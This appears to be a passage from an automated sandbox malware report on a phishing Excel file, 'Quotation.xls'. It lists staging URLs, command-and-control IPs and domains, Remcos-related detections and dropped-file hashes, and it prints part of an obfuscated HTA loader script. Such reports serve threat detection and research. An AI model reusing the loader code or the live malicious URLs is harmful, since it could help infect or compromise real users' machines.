                      http://172.245.135.155/xampp/eg/IEnetCache.htaC:mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://crl.pkioverheid.nl/DomOvLatestCRL.crl0powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://geoplugin.net/json.gp/Cigccu.exe, 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, ngen.exe, 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, iexplore.exe, 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/(mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htaSettings-mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.hta...;6mshta.exe, 00000013.00000002.462746744.00000000002AA000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://ocsp.entrust.net0Dpowershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.425125733.00000000023D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002521000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://secure.comodo.com/CPS0powershell.exe, 00000006.00000002.429063376.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htaSettingsmshta.exe, 00000003.00000003.398793403.000000000039E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.0000000000391000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.0000000000391000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://hop.fyi/NlD6ezmshta.exe, 00000003.00000003.398793403.0000000000380000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htaxmshta.exe, 00000003.00000003.400889751.00000000029DD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.458008350.000000000313D000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://crl.entrust.net/2048ca.crl0powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://go.crpowershell.exe, 00000006.00000002.429063376.000000001C4FE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.473601296.000000001C229000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      192.185.89.92
                      		hop.fyiUnited States
                      		46606UNIFIEDLAYER-AS-1USfalse
                      172.245.135.155
                      		unknownUnited States
                      		36352AS-COLOCROSSINGUStrue
                      173.255.204.62
                      		bossnacarpet.comUnited States
                      		63949LINODE-APLinodeLLCUStrue
                      107.173.4.18
                      		vegetachcnc.comUnited States
                      		36352AS-COLOCROSSINGUStrue
                      178.237.33.50
                      		geoplugin.netNetherlands
                      		8455ATOM86-ASATOM86NLfalse

                      General Information

                      Joe Sandbox version:40.0.0 Tourmaline
                      Analysis ID:1467089
                      Start date and time:2024-07-03 18:05:14 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 10m 6s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:defaultwindowsofficecookbook.jbs
                      Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                      Number of analysed new started processes analysed:31
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • GSI enabled (VBA)
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:Quotation.xls
                      Detection:MAL
                      Classification:mal100.phis.troj.spyw.expl.evad.winXLS@33/38@6/5
                      EGA Information:
                      • Successful, ratio: 71.4%
                      HCA Information:
                      • Successful, ratio: 85%
                      • Number of executed functions: 97
                      • Number of non-executed functions: 333
                      Cookbook Comments:
                      • Found application associated with file extension: .xls
                      • Found Word or Excel or PowerPoint or XPS Viewer
                      • Attach to Office via COM
                      • Active ActiveX Object
                      • Active ActiveX Object
                      • Active ActiveX Object
                      • Scroll down
                      • Close Viewer
                      • Override analysis time to 63078.6842752284 for current running targets taking high CPU consumption
                      • Override analysis time to 126157.368550457 for current running targets taking high CPU consumption

                      Warnings

                      • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
                      • Excluded IPs from analysis (whitelisted): 104.208.16.93
                      • Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, watson.microsoft.com, legacywatson.trafficmanager.net
                      • Execution Graph export aborted for target mshta.exe, PID 2040 because there are no executed function
                      • Execution Graph export aborted for target mshta.exe, PID 3572 because there are no executed function
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size exceeded maximum capacity and may have missing disassembly code.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • VT rate limit hit for: Quotation.xls

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      12:06:25API Interceptor66x Sleep call for process: mshta.exe modified
                      12:06:27API Interceptor178x Sleep call for process: powershell.exe modified
                      12:06:39API Interceptor50x Sleep call for process: igccu.exe modified
                      12:06:43API Interceptor3763947x Sleep call for process: wab.exe modified

                      LLM Input / Output

                      InputOutput
                      URL: Office document Model: gpt-4o
                      ```json{  "riskscore": 9,  "reasons": "The screenshot contains a visually prominent button labeled 'Enable Editing' which is highlighted in red, drawing immediate attention. The text 'contenido bloqueado, habilite la edicin para ver el documento' (content locked, enable editing to view the document) and 'Please enable Editing and Content from the Yellow bar above to view locked content' creates a sense of urgency and interest, urging the user to take immediate action. This is a common tactic used in phishing attacks to bypass security features and execute malicious code. Additionally, the document impersonates a legitimate business context, which can mislead users into trusting the content. The combination of urgency, a prominent call-to-action button, and the impersonation of a legitimate business context significantly increases the risk of phishing or malware infection."}

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      192.185.89.92Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                      • hop.fyi/ppltL
                      Ship particulars.xlsGet hashmaliciousUnknownBrowse
                      • hop.fyi/sWel7
                      DHL_AWB 98776013276.xlsGet hashmaliciousFormBookBrowse
                      • hop.fyi/aNUxj
                      457525.xlsGet hashmaliciousUnknownBrowse
                      • hop.fyi/mxcbs
                      457525.xlsGet hashmaliciousUnknownBrowse
                      • hop.fyi/mxcbs
                      457525.xlsGet hashmaliciousUnknownBrowse
                      • hop.fyi/uW4Kj
                      457525.xlsGet hashmaliciousUnknownBrowse
                      • hop.fyi/mxcbs
                      Scan-Payment-Advice.xlsGet hashmaliciousLokibotBrowse
                      • hop.fyi/30dp7
                      172.245.135.155Quotation.xlsGet hashmaliciousRemcosBrowse
                      • 172.245.135.155/S3006M/csrss.exe
                      New Project 7V3655511.xlsGet hashmaliciousUnknownBrowse
                      • 172.245.135.155/xampp/alss/alz.hta
                      Quotation.xlsGet hashmaliciousRemcosBrowse
                      • 172.245.135.155/M2406T/csrss.exe
                      Specification of Product Request 0100045-1.xlsGet hashmaliciousUnknownBrowse
                      • 172.245.135.155/xampp/alzz/alaz.hta
                      Hitachi Seiki Office Machine Part Inquiry.xlsGet hashmaliciousUnknownBrowse
                      • 172.245.135.155/xampp/hsd/IeNetcache.hta
                      Quotation.xlsGet hashmaliciousRemcosBrowse
                      • 172.245.135.155/M1706T/csrss.exe
                      Quotation.xlsGet hashmaliciousHTMLPhisher, RemcosBrowse
                      • 172.245.135.155/xampp/edn/browserEdge.hta
                      173.255.204.62cKiTq7RRCn.exeGet hashmaliciousRemcosBrowse
                        Quotation.xlsGet hashmaliciousRemcosBrowse
                          alr9GXGR1j.dllGet hashmaliciousUnknownBrowse
                            Opdopbsaed.dll.dllGet hashmaliciousUnknownBrowse
                              Inquiry[2023.10.11_08-07].vbsGet hashmaliciousIcedIDBrowse
                                DOCUMENT[2023.10.11_08-07]_2.vbsGet hashmaliciousIcedIDBrowse
                                  Document[2023.10.11_08-07]_1.vbsGet hashmaliciousIcedIDBrowse
                                    information[2023.10.11_08-07]_2.vbsGet hashmaliciousIcedIDBrowse
                                      Document[2023.10.11_08-07].vbsGet hashmaliciousIcedIDBrowse
                                        INFORMATION[2023.10.11_08-07]_1.vbsGet hashmaliciousIcedIDBrowse

                                          Domains

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          vegetachcnc.comcKiTq7RRCn.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          Quotation.xlsGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          hop.fyiCuentas bancarias y cdigo ##Swift incorrecto.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 192.185.89.92
                                          Ship particulars.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          DHL_AWB 98776013276.xlsGet hashmaliciousFormBookBrowse
                                          • 192.185.89.92
                                          457525.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          457525.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          457525.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          457525.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          Scan-Payment-Advice.xlsGet hashmaliciousLokibotBrowse
                                          • 192.185.89.92
                                          bossnacarpet.comcKiTq7RRCn.exeGet hashmaliciousRemcosBrowse
                                          • 173.255.204.62
                                          Quotation.xlsGet hashmaliciousRemcosBrowse
                                          • 173.255.204.62
                                          3tBnHytMM4.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          Quotation.xlsGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          mkHTu6LjYc.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          Quotation.xlsGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          qkAfLpWvQu.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          Quotation.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.18
                                          Shipping Document.P.df.exeGet hashmaliciousPrivateLoader, RemcosBrowse
                                          • 107.173.4.18
                                          TcnD64eVFK.exeGet hashmaliciousRemcosBrowse
                                          • 107.175.229.143
                                          geoplugin.netPayment Advice__Swift-MT103.pdf.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          UniCredit__Avviso di Pagamento.pdf.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          file.exeGet hashmaliciousGuLoader, RemcosBrowse
                                          • 178.237.33.50
                                          172001946670b1e83321a2b0b2afa526495dda6118492d61c1dbccf1f24b87b00c0e2fc524979.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          wcNDx6MT9O.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          cnaniAxghZ.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          xBkOubR0eL.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          PO#2195112.vbsGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          TT_Payment_Slip.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          SOA.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                          • 178.237.33.50

                                          ASNs

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          LINODE-APLinodeLLCUShttps://iwahadxi.hosted.phplist.com/lists/lt.php/?tid=eU1SAFEEUlZTABhUAVAGGAZWVFsfXVQLWkkDBQIAUAwCAgcAAldPWwdaBlNRVAgYVwEEXh9QClxcSQcAUlcbWgQGAAJVVwRXBAoBSQcBAVALVA8LHwIEXVtJUg8GVxsAVVMHGA5SB1EBC1YDAQQBDAGet hashmaliciousUnknownBrowse
                                          • 45.33.29.14
                                          https://lnkd.in/e4hHCn_zGet hashmaliciousHTMLPhisherBrowse
                                          • 173.255.231.96
                                          http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CxFHH8i5A3U7lzl-2BTzhlR6ei7mav1762I-2BKvT-2Fk6a5kLUgUMy5HF64b8WrTGY5vFuTce1vV41Ab4MyQrOplI7tU5VMylICgXEGMOcA3lDJVs2-2BVa-2BmXMPQdZkUiKRaSMtyb23BSU13fAy94eMgbbpWGHvMycQlWPfPxKMDzYSeE5kVyJwAD8pphYTNvERMYMmCwKiJ4MAAmjiqW4JLB-2FG-2FQ-3D-3D7yf0_p4A4YQt8epDIK9HlKea9sV-2FOtqGPyWoKM4LjM22Z6dbxuq3iGRjCzJ5YebtyuIEIvPEZ2Hi95MwGR7xtnodhDM8Iaj1NIu5u9A6c7A4CmoLtPLA1AYBR71m8begekekKFtQMeZCPuBYlMudBl33wvV-2Fu39N8kuAyCAOxmPkHrWSpXaxCDYANLX8xWXDor5baRk0uk-2FQ6kftnlL1vkLQkwQ-3D-3DGet hashmaliciousUnknownBrowse
                                          • 50.116.55.211
                                          https://lnkd.in/e7UhDEpWGet hashmaliciousHTMLPhisherBrowse
                                          • 96.126.106.143
                                          https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08Get hashmaliciousHTMLPhisherBrowse
                                          • 178.79.169.182
                                          https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08Get hashmaliciousHTMLPhisherBrowse
                                          • 178.79.169.182
                                          https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08Get hashmaliciousHTMLPhisherBrowse
                                          • 178.79.169.182
                                          94.156.79.133-mips-2024-07-01T19_26_38.elfGet hashmaliciousMirai, GafgytBrowse
                                          • 139.162.103.222
                                          List of Required items and services.zipGet hashmaliciousGuLoader, RHADAMANTHYSBrowse
                                          • 139.162.152.24
                                          https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08Get hashmaliciousHTMLPhisherBrowse
                                          • 178.79.169.182
                                          AS-COLOCROSSINGUSCuentas bancarias y cdigo ##Swift incorrecto.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 198.46.178.144
                                          Ship particulars.xlsGet hashmaliciousUnknownBrowse
                                          • 198.46.178.139
                                          wcNDx6MT9O.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.16
                                          cnaniAxghZ.exeGet hashmaliciousRemcosBrowse
                                          • 107.175.229.139
                                          execute_and_cleanup.shGet hashmaliciousUnknownBrowse
                                          • 108.174.58.28
                                          4YlwTsmpuZ.rtfGet hashmaliciousUnknownBrowse
                                          • 23.95.235.16
                                          Payment_Advice.xlsGet hashmaliciousUnknownBrowse
                                          • 192.3.179.150
                                          DHL_AWB 98776013276.xlsGet hashmaliciousFormBookBrowse
                                          • 23.95.235.16
                                          Scan-Payment-Advice.xlsGet hashmaliciousLokibotBrowse
                                          • 198.46.178.137
                                          orden de compra.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 192.3.243.156
                                          UNIFIEDLAYER-AS-1USCuentas bancarias y cdigo ##Swift incorrecto.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 192.185.89.92
                                          Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exeGet hashmaliciousFormBookBrowse
                                          • 192.185.208.8
                                          Ship particulars.xlsGet hashmaliciousUnknownBrowse
                                          • 192.185.89.92
                                          spec 4008670601 AZTEK Order.exeGet hashmaliciousFormBookBrowse
                                          • 192.185.208.8
                                          https://mail.pfl.fyi/v1/messages/0190749a-2f6a-7c9f-b37a-88f0ae969ede/click?link_id=0190749a-2ffa-7f41-ad16-3ecda235df51&signature=3e892faf1c0137166fda82e5ff5c6a3150c2cec9Get hashmaliciousHTMLPhisherBrowse
                                          • 162.144.36.99
                                          GJRX21GBj3.exeGet hashmaliciousFormBookBrowse
                                          • 108.179.193.98
                                          MUdeeReQ5R.exeGet hashmaliciousFormBookBrowse
                                          • 162.240.81.18
                                          kZa81nzREg.exeGet hashmaliciousAgentTeslaBrowse
                                          • 162.241.62.63
                                          https://link.mail.beehiiv.com/ls/click?upn=u001.I67xw9O-2FCIng4d3bGWl4wF1gb7u7ov5hHZyE-2Bbx9UTzw17nXfIKdJcwxuwzDNoy2zqPLSJo-2BNEQCUif7aqDwom-2FNyeTx4oiB0wLXwXnzsK4D0yrlxIKEkPM7Cj-2FHMmK1N5sLNWwmlbyGbHeuv6ehAEECnEs6fFQOqqwD-2FKToPwl8ZCnBHVdQ3QU8RWhloPcfXcxa_hzdxOAnI3B-2BYhj5tgQXSRCdoGEcuM88dXETG-2BahO6Uvd8cr2jZPTzAVk72oAubAHPgVJjhCdU6bjbXnflniNIkDzPhLxyvQL1dSWfR-2BUbH1DS3LUwJipSkZoP8d1ryYR0TIdt5CyNutkaFy6gLHYcR4kl-2Fz1ezOldYW2WX0ghZl4CCdgYPK2Cj3fM7MmBqLOIY-2B5u5WgDkBzfdFRbwHzvpAejc0JJJ7tYmz-2BUzjH-2BoYmk-2F0HGjFVUaYNWyGnhGX4EhZzw6qOcJEaxZhVjnDpWPL3U5gs5ZetaaeYkMX5whQyh7U-2B0b4Qj0LqFla1tJlWVR4EZMTu40FIJ9BSbWnjEcc9JxuCrqAu48-2BpVmjPzA43qg6bd2x0AWoed1RbQeWVzBT648qZJ7L-2FqgKPY6ysg2U7IBuGeVI7oxhhKCbXSZln5jVQGdCxXpADLZSMla5T1Id6eeDoJeYo7zr6VqE6vw-3D-3D#aGFydG11dC5zY2htaWR0QGtwcy1jb25zdWx0aW5nLmNvbQ==Get hashmaliciousUnknownBrowse
                                          • 69.49.230.170
                                          7RsDGpyOQk.exeGet hashmaliciousFormBookBrowse
                                          • 162.240.81.18
                                          AS-COLOCROSSINGUSCuentas bancarias y cdigo ##Swift incorrecto.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 198.46.178.144
                                          Ship particulars.xlsGet hashmaliciousUnknownBrowse
                                          • 198.46.178.139
                                          wcNDx6MT9O.exeGet hashmaliciousRemcosBrowse
                                          • 107.173.4.16
                                          cnaniAxghZ.exeGet hashmaliciousRemcosBrowse
                                          • 107.175.229.139
                                          execute_and_cleanup.shGet hashmaliciousUnknownBrowse
                                          • 108.174.58.28
                                          4YlwTsmpuZ.rtfGet hashmaliciousUnknownBrowse
                                          • 23.95.235.16
                                          Payment_Advice.xlsGet hashmaliciousUnknownBrowse
                                          • 192.3.179.150
                                          DHL_AWB 98776013276.xlsGet hashmaliciousFormBookBrowse
                                          • 23.95.235.16
                                          Scan-Payment-Advice.xlsGet hashmaliciousLokibotBrowse
                                          • 198.46.178.137
                                          orden de compra.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • 192.3.243.156
                                          ATOM86-ASATOM86NLPayment Advice__Swift-MT103.pdf.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          UniCredit__Avviso di Pagamento.pdf.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          file.exeGet hashmaliciousGuLoader, RemcosBrowse
                                          • 178.237.33.50
                                          172001946670b1e83321a2b0b2afa526495dda6118492d61c1dbccf1f24b87b00c0e2fc524979.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          wcNDx6MT9O.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          cnaniAxghZ.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          xBkOubR0eL.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          PO#2195112.vbsGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          TT_Payment_Slip.bat.exeGet hashmaliciousRemcosBrowse
                                          • 178.237.33.50
                                          SOA.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                          • 178.237.33.50

                                          JA3 Fingerprints

                                          ⊘No context

                                          Dropped Files

                                          ⊘No context

                                          Created / dropped Files

                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):15189
                                          Entropy (8bit):5.0343247648743
                                          Encrypted:false
                                          SSDEEP:384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
                                          MD5:7BC3FB6565E144A52C5F44408D5D80DF
                                          SHA1:C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
                                          SHA-256:EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
                                          SHA-512:D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
                                          Malicious:false
                                          Preview:PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):64
                                          Entropy (8bit):0.34726597513537405
                                          Encrypted:false
                                          SSDEEP:3:Nlll:Nll
                                          MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                          SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                          SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                          SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                          Malicious:false
                                          Preview:@...e...........................................................

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].hta

                                          Download File
                                          Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          File Type:HTML document, ASCII text, with very long lines (65498), with CRLF line terminators
                                          Category:modified
                                          Size (bytes):105529
                                          Entropy (8bit):2.4392589122425274
                                          Encrypted:false
                                          SSDEEP:768:tZ6A3yXNA0AGAknwnGE11nGaR18SrfbPgyLKYQnVsNQiXAZO:tqSx
                                          MD5:22FCF581F5B10CEDA9FA0610E42C8D85
                                          SHA1:130035AC61BC67FE4CC64FA516979BF63A967E0F
                                          SHA-256:BA191DB5C23D51CF8E91FEA87D8045DC158D1445053817727B5C5C14E17976A2
                                          SHA-512:4DAE1AA0BE9D5D49C24DCE9254D2AE3B078B86352A9BBC3E949D7BE56CC9CD3B2A16BF762B5D0E52282CB73F342EF365E1B36CEABF0A554D59B72DD003FA65E6
                                          Malicious:true
                                          Yara Hits:
                                          • Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].hta, Author: Joe Security
                                          Preview:<Script Language='Javascript'>.. ..document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%73%63%52%69%70%54%25%32%30%6C%61%6E%67%75%41%67%45%25%33%44%25%32%32%56%42%53%43%72%49%50%54%25%32%32%25%33%45%25%30%41%64%49%4D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%

                                          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe

                                          Download File
                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          File Type:PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
                                          Category:dropped
                                          Size (bytes):3397673
                                          Entropy (8bit):4.854329136763004
                                          Encrypted:false
                                          SSDEEP:24576:Q785OVnJmAZaTGTFh98WK3vFLkjKsxnerYU:958BI0FhiKj7nerYU
                                          MD5:A2DCC2E9DD81E3A5F6440ED7027A86DA
                                          SHA1:3518E330EF6C682445BED81D6AE4E167B003AE4B
                                          SHA-256:3521381FADCA86CFC577E8AA81ECFF5F3453102559BB7E86D903D9B87DB1456C
